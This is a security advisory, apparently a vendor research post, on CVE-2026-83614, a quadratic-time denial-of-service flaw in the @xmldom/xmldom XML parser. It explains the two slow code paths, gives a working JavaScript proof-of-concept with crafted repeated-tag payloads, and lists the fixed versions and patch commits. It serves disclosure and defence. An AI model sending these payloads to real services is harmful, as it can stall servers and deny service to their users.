highCVE-2026-83614Sep 8, 2026

CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted XML document of just tens of kilobytes can stall a Node.js server for multiple seconds because xmldom's error-recovery path and its normalize() call both do quadratic work on malformed…

Package@xmldom/xmldom
Ecosystemnpm
Affected>= 0.7.0, <= 0.8.14
Fixed in0.8.15
CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)

The problem

Two independent O(n²) paths exist in @xmldom/xmldom 0.7.0 through 0.8.14 (and the 0.9.x line before 0.9.12).

First, in lib/sax.js, when parseElementStartPart encounters a malformed tag name containing an embedded <, it scans forward to the next > on every single-character recovery step. Each of the O(n) retries performs an O(n) forward scan plus an O(n) regex validation, giving O(n²) total parse time.

Second, in lib/dom.js, normalize() merges K adjacent text nodes by calling removeChild then appendData in a loop. removeChild re-indexes all siblings (O(K)) and appendData rebuilds the accumulated string (O(K)), so K merges cost O(K²). The parser triggers this automatically via endDocument, but any application that calls normalize() on a programmatically built DOM with adjacent text nodes hits the same cost path without any parsing at all.

Proof of concept

A working proof-of-concept for CVE-2026-83614 in @xmldom/xmldom, with the exact payload below.

javascript
const { DOMParser } = require('@xmldom/xmldom');
console.error = function () {}; // suppress recovery noise

function timeParse(label, xml, mime) {
  const t0 = process.hrtime.bigint();
  new DOMParser().parseFromString(xml, mime);
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(label + '  bytes=' + Buffer.byteLength(xml) + '  time=' + ms.toFixed(1) + ' ms');
}

for (const N of [4000, 8000, 16000, 32000]) {
  // Finding A: O(n^2) inside parseElementStartPart re-scan
  timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
  // Finding B: O(K^2) inside normalize() via adjacent text-node merge
  timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');
}

// Finding B via the public normalize() API (no parser)
const { DOMImplementation } = require('@xmldom/xmldom');
function timeNormalize(K) {
  const doc = new DOMImplementation().createDocument(null, 'r', null);
  const el = doc.documentElement;
  for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x'));
  const t0 = process.hrtime.bigint();
  doc.normalize();
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log('normalize K=' + K + '  time=' + ms.toFixed(1) + ' ms');
}
for (const K of [4000, 8000, 16000, 32000]) timeNormalize(K);

Finding A: the patch makes parseElementStartPart terminate the tag-name scan immediately on an embedded < rather than continuing to the next >. This collapses the per-recovery O(n) scan to O(1), making overall parse-time linear.

Finding B: the patch rewrites the adjacent-text-node merge in normalize() to accumulate all sibling text data in a single pass and write it back once, replacing the old remove-then-append loop. This reduces the K-merge cost from O(K²) to O(K).

Both fixes are in the 0.8.15 patch commits (f40ccb8 for sax.js / dom.js). The release notes confirm DOM output is unchanged; only the error message text for the malformed-tag case differs, which is not a semver contract. CWE-407 (Inefficient Algorithmic Complexity) and CWE-400 (Uncontrolled Resource Consumption) both apply.

The fix

Update to @xmldom/xmldom 0.8.15 (0.8.x line) or 0.9.12 (0.9.x line). The legacy unscoped xmldom package has no fix and should be replaced. Patch commits: f40ccb861eee0acbf5ee4feb9a34932e87b329c9 (0.8.15) and 0748720b620555f8c222782dcab575cf0cf403b4 (0.9.12), via PRs #1071 and #1072.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research